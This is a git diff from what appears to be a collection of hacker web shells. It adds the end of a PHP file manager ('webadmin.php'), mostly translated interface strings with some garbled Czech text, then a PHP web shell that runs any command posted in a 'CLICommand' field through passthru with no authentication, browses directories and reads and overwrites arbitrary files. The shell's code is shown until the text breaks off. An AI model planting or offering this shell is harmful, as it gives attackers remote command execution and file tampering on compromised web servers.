+'create' => 'aanmaken',
+'change' => 'veranderen',
+'save' => 'opslaan',
+'set' => 'instellen',
+'reset' => 'resetten',
+'relative' => 'Relatief pat naar doel',
+
+'yes' => 'Ja',
+'no' => 'Nee',
+'back' => 'terug',
+'destination' => 'Bestemming',
+'symlink' => 'Symlink',
+'no_output' => 'geen output',
+
+'user' => 'Gebruiker',
+'password' => 'Wachtwoord',
+'add' => 'toevoegen',
+'add_basic_auth' => 'add basic-authentification',
+
+'uploaded' => '"[%1]" is verstuurd.',
+'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
+'already_exists' => '"[%1]" bestaat al.',
+'created' => '"[%1]" is aangemaakt.',
+'not_created' => '"[%1]" kan niet worden aangemaakt.',
+'really_delete' => 'Deze bestanden verwijderen?',
+'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
+'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
+'rename_file' => 'Bestandsnaam veranderen:',
+'renamed' => '"[%1]" heet nu "[%2]".',
+'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
+'move_files' => 'Verplaats deze bestanden:',
+'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
+'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
+'copy_files' => 'Kopieer deze bestanden:',
+'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
+'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
+'not_edited' => '"[%1]" kan niet worden bewerkt.',
+'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
+'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
+'saved' => '"[%1]" is opgeslagen.',
+'not_saved' => '"[%1]" is niet opgeslagen.',
+'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
+'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
+'permission_for' => 'Bevoegdheid voor "[%1]":',
+'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
+'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
+'not_readable' => '"[%1]" kan niet worden gelezen.'
+ );
+
+ case 'se':
+
+ $date_format = 'n/j/y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Mapp',
+'file' => 'Fil',
+'filename' => 'Filnamn',
+
+'size' => 'Storlek',
+'permission' => 'Säkerhetsnivå',
+'owner' => 'Ägare',
+'group' => 'Grupp',
+'other' => 'Andra',
+'functions' => 'Funktioner',
+
+'read' => 'Läs',
+'write' => 'Skriv',
+'execute' => 'Utför',
+
+'create_symlink' => 'Skapa symlink',
+'delete' => 'Radera',
+'rename' => 'Byt namn',
+'move' => 'Flytta',
+'copy' => 'Kopiera',
+'edit' => 'Ändra',
+'download' => 'Ladda ner',
+'upload' => 'Ladda upp',
+'create' => 'Skapa',
+'change' => 'Ändra',
+'save' => 'Spara',
+'set' => 'Markera',
+'reset' => 'Töm',
+'relative' => 'Relative path to target',
+
+'yes' => 'Ja',
+'no' => 'Nej',
+'back' => 'Tillbaks',
+'destination' => 'Destination',
+'symlink' => 'Symlink',
+'no_output' => 'no output',
+
+'user' => 'Användare',
+'password' => 'Lösenord',
+'add' => 'Lägg till',
+'add_basic_auth' => 'add basic-authentification',
+
+'uploaded' => '"[%1]" har laddats upp.',
+'not_uploaded' => '"[%1]" kunde inte laddas upp.',
+'already_exists' => '"[%1]" finns redan.',
+'created' => '"[%1]" har skapats.',
+'not_created' => '"[%1]" kunde inte skapas.',
+'really_delete' => 'Radera dessa filer?',
+'deleted' => "De här filerna har raderats:\n[%1]",
+'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
+'rename_file' => 'Byt namn på fil:',
+'renamed' => '"[%1]" har bytt namn till "[%2]".',
+'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
+'move_files' => 'Flytta dessa filer:',
+'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
+'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
+'copy_files' => 'Kopiera dessa filer:',
+'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
+'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
+'not_edited' => '"[%1]" kan inte ändras.',
+'executed' => "\"[%1]\" har utförts:\n{%2}",
+'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
+'saved' => '"[%1]" har sparats.',
+'not_saved' => '"[%1]" kunde inte sparas.',
+'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
+'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
+'permission_for' => 'Rättigheter för "[%1]":',
+'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
+'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
+'not_readable' => '"[%1]" kan inte läsas.'
+ );
+
+ case 'sp':
+
+ $date_format = 'j/n/y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Directorio',
+'file' => 'Archivo',
+'filename' => 'Nombre Archivo',
+
+'size' => 'Tamaño',
+'permission' => 'Permisos',
+'owner' => 'Propietario',
+'group' => 'Grupo',
+'other' => 'Otros',
+'functions' => 'Funciones',
+
+'read' => 'lectura',
+'write' => 'escritura',
+'execute' => 'ejecución',
+
+'create_symlink' => 'crear enlace',
+'delete' => 'borrar',
+'rename' => 'renombrar',
+'move' => 'mover',
+'copy' => 'copiar',
+'edit' => 'editar',
+'download' => 'bajar',
+'upload' => 'subir',
+'create' => 'crear',
+'change' => 'cambiar',
+'save' => 'salvar',
+'set' => 'setear',
+'reset' => 'resetear',
+'relative' => 'Path relativo',
+
+'yes' => 'Si',
+'no' => 'No',
+'back' => 'atrás',
+'destination' => 'Destino',
+'symlink' => 'Enlace',
+'no_output' => 'sin salida',
+
+'user' => 'Usuario',
+'password' => 'Clave',
+'add' => 'agregar',
+'add_basic_auth' => 'agregar autentificación básica',
+
+'uploaded' => '"[%1]" ha sido subido.',
+'not_uploaded' => '"[%1]" no pudo ser subido.',
+'already_exists' => '"[%1]" ya existe.',
+'created' => '"[%1]" ha sido creado.',
+'not_created' => '"[%1]" no pudo ser creado.',
+'really_delete' => '¿Borra estos archivos?',
+'deleted' => "Estos archivos han sido borrados:\n[%1]",
+'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
+'rename_file' => 'Renombra archivo:',
+'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
+'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
+'move_files' => 'Mover estos archivos:',
+'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
+'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
+'copy_files' => 'Copiar estos archivos:',
+'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
+'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
+'not_edited' => '"[%1]" no pudo ser editado.',
+'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
+'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
+'saved' => '"[%1]" ha sido salvado.',
+'not_saved' => '"[%1]" no pudo ser salvado.',
+'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
+'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
+'permission_for' => 'Permisos de "[%1]":',
+'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
+'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
+'not_readable' => '"[%1]" no pudo ser leído.'
+ );
+
+ case 'dk':
+
+ $date_format = 'n/j/y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Mappe',
+'file' => 'Fil',
+'filename' => 'Filnavn',
+
+'size' => 'Størrelse',
+'permission' => 'Rettighed',
+'owner' => 'Ejer',
+'group' => 'Gruppe',
+'other' => 'Andre',
+'functions' => 'Funktioner',
+
+'read' => 'læs',
+'write' => 'skriv',
+'execute' => 'kør',
+
+'create_symlink' => 'opret symbolsk link',
+'delete' => 'slet',
+'rename' => 'omdøb',
+'move' => 'flyt',
+'copy' => 'kopier',
+'edit' => 'rediger',
+'download' => 'download',
+'upload' => 'upload',
+'create' => 'opret',
+'change' => 'skift',
+'save' => 'gem',
+'set' => 'sæt',
+'reset' => 'nulstil',
+'relative' => 'Relativ sti til valg',
+
+'yes' => 'Ja',
+'no' => 'Nej',
+'back' => 'tilbage',
+'destination' => 'Distination',
+'symlink' => 'Symbolsk link',
+'no_output' => 'ingen resultat',
+
+'user' => 'Bruger',
+'password' => 'Kodeord',
+'add' => 'tilføj',
+'add_basic_auth' => 'tilføj grundliggende rettigheder',
+
+'uploaded' => '"[%1]" er blevet uploaded.',
+'not_uploaded' => '"[%1]" kunnu ikke uploades.',
+'already_exists' => '"[%1]" findes allerede.',
+'created' => '"[%1]" er blevet oprettet.',
+'not_created' => '"[%1]" kunne ikke oprettes.',
+'really_delete' => 'Slet disse filer?',
+'deleted' => "Disse filer er blevet slettet:\n[%1]",
+'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
+'rename_file' => 'Omdød fil:',
+'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
+'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
+'move_files' => 'Flyt disse filer:',
+'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
+'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
+'copy_files' => 'Kopier disse filer:',
+'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
+'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
+'not_edited' => '"[%1]" kan ikke redigeres.',
+'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
+'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
+'saved' => '"[%1]" er blevet gemt.',
+'not_saved' => '"[%1]" kunne ikke gemmes.',
+'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
+'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
+'permission_for' => 'Rettigheder for "[%1]":',
+'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
+'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
+'not_readable' => '"[%1]" Kan ikke læses.'
+ );
+
+ case 'tr':
+
+ $date_format = 'n/j/y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Klasör',
+'file' => 'Dosya',
+'filename' => 'dosya adi',
+
+'size' => 'boyutu',
+'permission' => 'Izin',
+'owner' => 'sahib',
+'group' => 'Grup',
+'other' => 'Digerleri',
+'functions' => 'Fonksiyonlar',
+
+'read' => 'oku',
+'write' => 'yaz',
+'execute' => 'çalistir',
+
+'create_symlink' => 'yarat symlink',
+'delete' => 'sil',
+'rename' => 'ad degistir',
+'move' => 'tasi',
+'copy' => 'kopyala',
+'edit' => 'düzenle',
+'download' => 'indir',
+'upload' => 'yükle',
+'create' => 'create',
+'change' => 'degistir',
+'save' => 'kaydet',
+'set' => 'ayar',
+'reset' => 'sifirla',
+'relative' => 'Hedef yola göre',
+
+'yes' => 'Evet',
+'no' => 'Hayir',
+'back' => 'Geri',
+'destination' => 'Hedef',
+'symlink' => 'Kýsa yol',
+'no_output' => 'çikti yok',
+
+'user' => 'Kullanici',
+'password' => 'Sifre',
+'add' => 'ekle',
+'add_basic_auth' => 'ekle basit-authentification',
+
+'uploaded' => '"[%1]" yüklendi.',
+'not_uploaded' => '"[%1]" yüklenemedi.',
+'already_exists' => '"[%1]" kullanilmakta.',
+'created' => '"[%1]" olusturuldu.',
+'not_created' => '"[%1]" olusturulamadi.',
+'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
+'deleted' => "Bu dosyalar silindi:\n[%1]",
+'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
+'rename_file' => 'Adi degisen dosya:',
+'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
+'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
+'move_files' => 'Tasinan dosyalar:',
+'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
+'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
+'copy_files' => 'Kopyalanan dosyalar:',
+'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
+'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
+'not_edited' => '"[%1]" düzenlenemiyor.',
+'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
+'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
+'saved' => '"[%1]" kaydedildi.',
+'not_saved' => '"[%1]" kaydedilemedi.',
+'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
+'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
+'permission_for' => 'Izinler "[%1]":',
+'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
+'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
+'not_readable' => '"[%1]" okunamiyor.'
+ );
+
+ case 'cs':
+
+ $date_format = 'd.m.y H:i:s';
+ $word_charset = 'UTF-8';
+
+ return array(
+'directory' => 'Adresář',
+'file' => 'Soubor',
+'filename' => 'Jméno souboru',
+
+'size' => 'Velikost',
+'permission' => 'Práva',
+'owner' => 'VlastnÃk',
+'group' => 'Skupina',
+'other' => 'OstatnÃ',
+'functions' => 'Funkce',
+
+'read' => 'ÄŒtenÃ',
+'write' => 'Zápis',
+'execute' => 'SpouÅ¡tÄ›nÃ',
+
+'create_symlink' => 'Vytvořit symbolický odkaz',
+'delete' => 'Smazat',
+'rename' => 'Přejmenovat',
+'move' => 'Přesunout',
+'copy' => 'ZkopÃrovat',
+'edit' => 'OtevÅ™Ãt',
+'download' => 'Stáhnout',
+'upload' => 'Nahraj na server',
+'create' => 'Vytvořit',
+'change' => 'Změnit',
+'save' => 'Uložit',
+'set' => 'Nastavit',
+'reset' => 'zpět',
+'relative' => 'Relatif',
+
+'yes' => 'Ano',
+'no' => 'Ne',
+'back' => 'Zpět',
+'destination' => 'Destination',
+'symlink' => 'Symbolický odkaz',
+'no_output' => 'Prázdný výstup',
+
+'user' => 'Uživatel',
+'password' => 'Heslo',
+'add' => 'Přidat',
+'add_basic_auth' => 'přidej základnà autentizaci',
+
+'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
+'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
+'already_exists' => 'Soubor "[%1]" už exituje.',
+'created' => 'Soubor "[%1]" byl vytvořen.',
+'not_created' => 'Soubor "[%1]" nemohl být vytvořen.',
+'really_delete' => 'Vymazat soubor?',
+'deleted' => "Byly vymazány tyto soubory:\n[%1]",
+'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
+'rename_file' => 'Přejmenuj soubory:',
+'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
+'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
+'move_files' => 'PÅ™emÃstit tyto soubory:',
+'moved' => "Tyto soubory byly pÅ™emÃstÄ›ny do \"[%2]\":\n[%1]",
+'not_moved' => "Tyto soubory nemohly být pÅ™emÃstÄ›ny do \"[%2]\":\n[%1]",
+'copy_files' => 'ZkopÃrovat tyto soubory:',
+'copied' => "Tyto soubory byly zkopÃrovány do \"[%2]\":\n[%1]",
+'not_copied' => "Tyto soubory nemohly být zkopÃrovány do \"[%2]\":\n[%1]",
+'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
+'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
+'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
+'saved' => 'Soubor "[%1]" byl uložen.',
+'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
+'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
+'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
+'permission_for' => 'Práva k "[%1]":',
+'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
+'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
+'not_readable' => 'Soubor "[%1]" nenà možno pÅ™eÄÃst.'
+ );
+
+ case 'en':
+ default:
+
+ $date_format = 'n/j/y H:i:s';
+ $word_charset = 'ISO-8859-1';
+
+ return array(
+'directory' => 'Directory',
+'file' => 'File',
+'filename' => 'Filename',
+
+'size' => 'Size',
+'permission' => 'Permission',
+'owner' => 'Owner',
+'group' => 'Group',
+'other' => 'Others',
+'functions' => 'Functions',
+
+'read' => 'read',
+'write' => 'write',
+'execute' => 'execute',
+
+'create_symlink' => 'create symlink',
+'delete' => 'delete',
+'rename' => 'rename',
+'move' => 'move',
+'copy' => 'copy',
+'edit' => 'edit',
+'download' => 'download',
+'upload' => 'upload',
+'create' => 'create',
+'change' => 'change',
+'save' => 'save',
+'set' => 'set',
+'reset' => 'reset',
+'relative' => 'Relative path to target',
+
+'yes' => 'Yes',
+'no' => 'No',
+'back' => 'back',
+'destination' => 'Destination',
+'symlink' => 'Symlink',
+'no_output' => 'no output',
+
+'user' => 'User',
+'password' => 'Password',
+'add' => 'add',
+'add_basic_auth' => 'add basic-authentification',
+
+'uploaded' => '"[%1]" has been uploaded.',
+'not_uploaded' => '"[%1]" could not be uploaded.',
+'already_exists' => '"[%1]" already exists.',
+'created' => '"[%1]" has been created.',
+'not_created' => '"[%1]" could not be created.',
+'really_delete' => 'Delete these files?',
+'deleted' => "These files have been deleted:\n[%1]",
+'not_deleted' => "These files could not be deleted:\n[%1]",
+'rename_file' => 'Rename file:',
+'renamed' => '"[%1]" has been renamed to "[%2]".',
+'not_renamed' => '"[%1] could not be renamed to "[%2]".',
+'move_files' => 'Move these files:',
+'moved' => "These files have been moved to \"[%2]\":\n[%1]",
+'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
+'copy_files' => 'Copy these files:',
+'copied' => "These files have been copied to \"[%2]\":\n[%1]",
+'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
+'not_edited' => '"[%1]" can not be edited.',
+'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
+'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
+'saved' => '"[%1]" has been saved.',
+'not_saved' => '"[%1]" could not be saved.',
+'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
+'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
+'permission_for' => 'Permission of "[%1]":',
+'permission_set' => 'Permission of "[%1]" was set to [%2].',
+'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
+'not_readable' => '"[%1]" can not be read.'
+ );
+
+ }
+
+}
+
+function getimage ($image) {
+ switch ($image) {
+ case 'file':
+ return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
+ case 'folder':
+ return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
+ case 'hidden_file':
+ return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
+ case 'link':
+ return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
+ case 'smiley':
+ return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
+ case 'arrow':
+ return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
+ }
+}
+
+function html_header () {
+ global $site_charset;
+
+ echo <<
+
+
+
+
+
+webadmin.php
+
+
+
+
+
+
+
+
+
+END;
+
+}
+
+function html_footer () {
+
+ echo <<
+
+END;
+
+}
+
+function notice ($phrase) {
+ global $cols;
+
+ $args = func_get_args();
+ array_shift($args);
+
+ return '
+ ' . phrase($phrase, $args) . '
+
+';
+
+}
+
+function error ($phrase) {
+ global $cols;
+
+ $args = func_get_args();
+ array_shift($args);
+
+ return '
+ ' . phrase($phrase, $args) . '
+
+';
+
+}
+
+?>
diff --git a/xakep-shells/PHP/webshell.php.txt b/xakep-shells/PHP/webshell.php.txt
new file mode 100644
index 0000000..766b719
--- /dev/null
+++ b/xakep-shells/PHP/webshell.php.txt
@@ -0,0 +1,268 @@
+"R0lGODlhWAKWAOf/AAYDCQgFCgYGEgkGDAcIEwgJFAUKGBAHDgYLGQwKFQQNHggMGhMJEAkOGg8LGgwMHhkJEg0NHx4JDgoPJQ4OIBcMGA8QIRcNHB4LFQwRJhUPIhIQJh4NGg4TKA8SLBMRKCcMEx0PHxAULhUUKhYTLigOGREXKxIWMBoTKx0TJhQVNTENExQXMigRIBEaODIPGhkYLhYYOBYZNBwWOBwYNDoPFCkUKRkaOiQXMRUcQDsQGhodOBscPEIPGBwbQTUUIyQZNyEaPRgfRB8fQCAeRUoSGBwgTB4iPyYeQBwiR0wSHSQeS1IQG0YVIzgbMzMdOiAjTyQjRVwQFi8fQiAlS1YTGSUjSxwmV1wRHCMmUkkaLkQcNVkWHFgWIF8UHi4kTlQZKScnWicqSlgYJSEqWyMpYScqUScqVi0nVjgkSlMcLlwaIyooYUgiQV0cKTgnU00hO1QfOy0vXCkwYiovZy8uYV8fMEkmSS4xWTQuXUYoUEArVF4hOi80VWAhNkAsWl4iQDwuYi4zcjA0bjA1aTM2Y2MlPlooR2AmSGMmRGAoTjA6eVIwXDY7bjY6dGYqR14tUFwuVWIrVjk6ezY8g2YtVGgtT10wXWEuXkw3az1AaUY5eTdAfztAejxBdFk0a0BFaGszWWk0ZD5Eiz5Fhmw1YD1HgWU4Zmg2amg4YENFgURIdkFEmkRIfkBHlkBGp2g8d0ZMh20+a0VMjUZLk20+cVhFi2NEhHVDbG9FiUtSp1BWhU5UlkxToU9VkU5UnHVHeUtSsVNYfFJWjHJIgntRiXpTkFhgqVdet3hUl1hgr1pin1thpFxjmlhi1mRpmIJdn19nzWJqxGZtq2lxk2VttGVsvWhvp3F4u293zHN7sXB42Gx37nN8x3B64ni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TBqUXtlIBd0wAbf4wie8G8Stgu1MQq00Iq08AvWNhjHgAza5gzBIA3dsA3d5g39BFEHFA3RoIsKhGDdoA3YMA3ddwywSAu8MH7/EjD9dortpwkCVwiEUAhsQRwNEwZQcAWtV4m+VokqNI4pJonUYRU5JRU8FTIygEOm8moaRxQzlh7F1B43cZCPM9FLJlcTSvRLLaEBP+ZyGGhbFPCBH1hzBhJWMTchYNQARXNzQHdGMHIhDjJ0bsVldBRHWkNXYSYjRgI2UFd1fbUQVqOEVYMQGgFnhtQkauJIf2NYkuN1cPI4cvM4aweGggJKEdFZiDM3n7STBQFKkjU4e1Y5gAYRmJNascSGpaRpSylbhid4otOGrLVKAQEAOw==","download" => "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
+"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", "edit" => "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
+"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
+"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
+"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
+"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
+"zMshADs=");
+
+//This function sends the appropriate headers to handle the image (This is just GIF images easily modifiable
+if (isset($_GET['img']))
+{
+header("Content-type: image/gif");
+echo base64_decode($images[$_GET['img']]);
+die();
+}
+//Sets the directory to the directory specified
+if (isset($_GET['dir']))
+{
+ $current_dir = realpath($_GET['dir'])."/";
+}
+else
+{
+ $current_dir = './';
+}
+
+//Run a CLI command if one has been sent
+if (isset($_POST['CLICommand']))
+{
+ echo "";
+ echo "Output From Command: ";
+ echo "";
+ passthru($_POST['CLICommand']);
+ echo " ";
+ echo " ";
+ die();
+}
+
+//set the current_dir url
+if (($current_dir == './') && (!isset($_COOKIE['dshell'])))
+{
+ $surl = $_SERVER['REQUEST_URI'];
+ setcookie('dshell',$surl,time()+99999);
+}
+elseif (!isset($_COOKIE['dshell']))
+ die('Error Could Not load the default path');
+else
+ $surl = $_COOKIE['dshell'];
+
+function scan_dir($current_dir)
+{
+$chemin=$current_dir;
+if (glob("$chemin*"))
+{
+$files = glob("$chemin*");
+$fileListing = "";
+foreach ($files as $filename) {
+ $fileListing .= "$filename-<";
+ }
+ $listing = explode('-<',$fileListing);
+ return $listing;
+ }
+ else
+ {
+ die("Couldn't Read directory, Blocked!!!");
+ }
+}
+
+//The majority of this function was taken off of php.net, no use reinventing the wheel when this works very well :p
+//Anyway this function gets the permssions in rwx form thats read write execute format.
+function perms_check($file)
+{
+ $perms = fileperms($file);
+
+if (($perms & 0xC000) == 0xC000) {
+ // Socket
+ $info = 's';
+} elseif (($perms & 0xA000) == 0xA000) {
+ // Symbolic Link
+ $info = 'l';
+} elseif (($perms & 0x8000) == 0x8000) {
+ // Regular
+ $info = '-';
+} elseif (($perms & 0x6000) == 0x6000) {
+ // Block special
+ $info = 'b';
+} elseif (($perms & 0x4000) == 0x4000) {
+ // Directory
+ $info = 'd';
+} elseif (($perms & 0x2000) == 0x2000) {
+ // Character special
+ $info = 'c';
+} elseif (($perms & 0x1000) == 0x1000) {
+ // FIFO pipe
+ $info = 'p';
+} else {
+ // Unknown
+ $info = 'u';
+}
+
+// Owner
+$info .= (($perms & 0x0100) ? 'r' : '-');
+$info .= (($perms & 0x0080) ? 'w' : '-');
+$info .= (($perms & 0x0040) ?
+ (($perms & 0x0800) ? 's' : 'x' ) :
+ (($perms & 0x0800) ? 'S' : '-'));
+
+// Group
+$info .= (($perms & 0x0020) ? 'r' : '-');
+$info .= (($perms & 0x0010) ? 'w' : '-');
+$info .= (($perms & 0x0008) ?
+ (($perms & 0x0400) ? 's' : 'x' ) :
+ (($perms & 0x0400) ? 'S' : '-'));
+
+// World
+$info .= (($perms & 0x0004) ? 'r' : '-');
+$info .= (($perms & 0x0002) ? 'w' : '-');
+$info .= (($perms & 0x0001) ?
+ (($perms & 0x0200) ? 't' : 'x' ) :
+ (($perms & 0x0200) ? 'T' : '-'));
+
+ return $info;
+}
+
+
+//Function to display the files in the current_dir variable
+function dir_scan($current_dir) {
+$output="Filename Permissions Actions \n
+. \n
+.. ";
+$output_left="";
+foreach(scan_dir($current_dir) as $item)
+{
+ if ($item == "." || $item == "..")
+ {
+ $item = str_replace($current_dir,"",$item);
+ $output .= "".
+ "".$item." ".
+ " ".
+ " ";
+
+ }
+ else
+ {
+ if ($item == "")
+ { }
+ else
+ {
+ if (is_dir($item))
+ {
+ $perms = perms_check($item);
+ $item = str_replace($current_dir,"",$item);
+ $output .=""."".$item." $perms    ";
+ }
+ else
+ {
+ $perms = perms_check($item);
+ $item = str_replace($current_dir,"",$item);
+ $output_left .= "".
+ "".$item." ".
+ " $perms ".
+ " ".
+ " ";
+ }
+ }
+ }
+}
+ $output .=$output_left;
+ return $output;
+}
+
+//Edit File Function, $mode can be r(read) w(write)
+//Content is needed only if writing
+function fedit($fileLocale,$mode,$content = "")
+{
+ if ($mode == "r")
+ {
+ $output = htmlspecialchars(file_get_contents($fileLocale));
+ return $output;
+ }
+ elseif ($mode == "w")
+ {
+ if ($content == "")
+ echo("Error No Content Provided!");
+ else {
+ $file = fopen($fileLocale,"w");
+ if (fwrite($file,stripslashes($content)))
+ {
+ $value = 1;
+ }
+ else
+ $value = 0;
+ fclose($file);
+ return $value;
+ }
+ }
+}
+
+//Function for showing the edit page.
+function edit($file)
+{
+ return "
+ ".fedit($file,'r')." ";
+}
+
+//Setup the Action
+if (!isset($_GET['action']))
+{
+ $action = dir_scan($current_dir);
+}
+elseif ($_GET['action'] == 'edit')
+{
+ $action = edit($_GET['file']);
+}
+elseif ($_GET['action'] == 'write')
+{
